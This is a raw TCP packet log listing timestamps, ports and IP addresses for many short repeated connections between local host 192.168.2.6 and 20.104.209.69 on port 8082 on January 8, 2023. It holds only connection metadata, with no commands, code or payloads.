Jan 8, 2023 16:08:35.802445889 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.802445889 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.802503109 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.810760975 CET	49923	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:35.925025940 CET	8082	49923	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:35.948467970 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.063276052 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.063407898 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.064059019 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.177901983 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.182244062 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.182272911 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.182349920 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.182359934 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.182378054 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.182425022 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.193654060 CET	49924	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.307697058 CET	8082	49924	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.323496103 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.438169003 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.438348055 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.438829899 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.554431915 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.557742119 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.557905912 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.558296919 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.558386087 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.558731079 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.558820009 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.575473070 CET	49925	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.689625978 CET	8082	49925	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.713018894 CET	49926	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.827742100 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.828023911 CET	49926	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.829324007 CET	49926	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.943286896 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.951292038 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.951339006 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.951361895 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:36.951616049 CET	49926	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:36.963917017 CET	49926	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.078402042 CET	8082	49926	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.096215963 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.210536003 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.211463928 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.212090969 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.326031923 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.330499887 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.330522060 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.330532074 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.330637932 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.330681086 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.340903997 CET	49927	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.455615997 CET	8082	49927	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.467148066 CET	49928	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.581571102 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.587414026 CET	49928	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.588304996 CET	49928	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.702267885 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.707897902 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.707918882 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.707927942 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.708137035 CET	49928	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.727092981 CET	49928	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.841784000 CET	8082	49928	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.854757071 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.969268084 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:37.969420910 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:37.969898939 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.084505081 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.088332891 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.088366032 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.088516951 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.088555098 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.088614941 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.098879099 CET	49929	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.212682009 CET	8082	49929	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.234631062 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.349087954 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.349416018 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.350434065 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.464128017 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.469269037 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.469302893 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.469331026 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.469372988 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.469412088 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.480479956 CET	49930	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.595284939 CET	8082	49930	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.606441021 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.720864058 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.721057892 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.722146988 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.835948944 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.840329885 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.840351105 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.840540886 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.840580940 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.841341972 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.858465910 CET	49931	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:38.972490072 CET	8082	49931	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:38.978842020 CET	49932	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.093199968 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.094872952 CET	49932	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.095437050 CET	49932	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.209367990 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.215233088 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.215291977 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.215310097 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.215428114 CET	49932	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.228492022 CET	49932	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.342550993 CET	8082	49932	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.374366999 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.489044905 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.489355087 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.490061998 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.603988886 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.609425068 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.609473944 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.609616041 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.609616041 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.609750032 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.610044956 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.640656948 CET	49933	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.754812956 CET	8082	49933	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.774605036 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.889385939 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:39.889569044 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:39.890549898 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.004719019 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.008738041 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.008766890 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.008816957 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.008829117 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.008867979 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.008867979 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.017412901 CET	49934	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.131555080 CET	8082	49934	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.151133060 CET	49935	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.265433073 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.267623901 CET	49935	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.268106937 CET	49935	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.381989956 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.385739088 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.385771990 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.385787010 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.385941029 CET	49935	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.402307987 CET	49935	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.516254902 CET	8082	49935	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.546973944 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.661453009 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.661793947 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.662324905 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.776367903 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.781966925 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.782020092 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.782042027 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.782159090 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.782201052 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.792201996 CET	49936	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:40.906255960 CET	8082	49936	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:40.921268940 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.035361052 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.035762072 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.036955118 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.150913000 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.155114889 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.155163050 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.155383110 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.155627012 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.155803919 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.173376083 CET	49937	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.287476063 CET	8082	49937	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.309252977 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.425010920 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.425260067 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.425936937 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.540093899 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.545293093 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.545324087 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.545492887 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.545775890 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:41.545913935 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.555752039 CET	49938	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:41.670031071 CET	8082	49938	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.190996885 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.305624008 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.305748940 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.311295986 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.425448895 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.429672003 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.429706097 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.429723024 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.429757118 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.429805994 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.429965019 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.441967010 CET	49939	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.556091070 CET	8082	49939	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.575508118 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.690057993 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.690248966 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.710946083 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.825126886 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.829992056 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.830041885 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.830095053 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.830142021 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.830255032 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:42.830308914 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.842885971 CET	49940	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:42.962933064 CET	8082	49940	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.604177952 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.718780994 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.718893051 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.719791889 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.834769011 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.839283943 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.839329004 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.839483976 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.840225935 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:43.840883970 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.883363008 CET	49941	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:43.997895002 CET	8082	49941	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.070421934 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:44.185112953 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.185370922 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:44.263993979 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:44.378114939 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.382030964 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.382064104 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.382168055 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:44.382236958 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:44.382297039 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.490849018 CET	49942	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.605324030 CET	8082	49942	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.631711006 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.746387959 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.746500015 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.746969938 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.860976934 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.865151882 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.865178108 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.865253925 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:45.865286112 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.865397930 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.865398884 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.881820917 CET	49943	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:45.996017933 CET	8082	49943	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.021591902 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.136451006 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.136670113 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.209412098 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.323976040 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.328353882 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.328416109 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.328583002 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.328644991 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.328686953 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.328794956 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.341574907 CET	49944	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.456125975 CET	8082	49944	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.483669996 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.597839117 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.598104000 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.601680040 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.715929031 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.720036983 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.720127106 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.720166922 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.720276117 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.720277071 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.720947027 CET	49945	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.834825993 CET	8082	49945	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.854530096 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.969178915 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:46.969309092 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:46.970069885 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.084105968 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.088296890 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.088344097 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.088366985 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.088464022 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.088521004 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.088963032 CET	49946	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.202864885 CET	8082	49946	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.256892920 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.371293068 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.371426105 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.371973991 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.485971928 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.489252090 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.489281893 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.489315033 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.489440918 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.489485979 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.503117085 CET	49947	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.617166042 CET	8082	49947	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.637191057 CET	49948	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.751791954 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.752001047 CET	49948	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.752516031 CET	49948	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.866276979 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.871510029 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.871545076 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.871560097 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.871736050 CET	49948	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.872242928 CET	49948	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:47.986054897 CET	8082	49948	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:47.994810104 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.109112978 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.109416008 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.112586021 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.226865053 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.232244968 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.232319117 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.232428074 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.232425928 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.232470989 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.232495070 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.240312099 CET	49949	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.354495049 CET	8082	49949	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.374727011 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.489377975 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.489624977 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.490374088 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.604451895 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.608589888 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.608673096 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.608716965 CET	8082	49950	20.104.209.69	192.168.2.6
Jan 8, 2023 16:08:48.608815908 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.608817101 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.608907938 CET	49950	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:08:48.621855021 CET	49950	8082	192.168.2.6	20.104.209.69
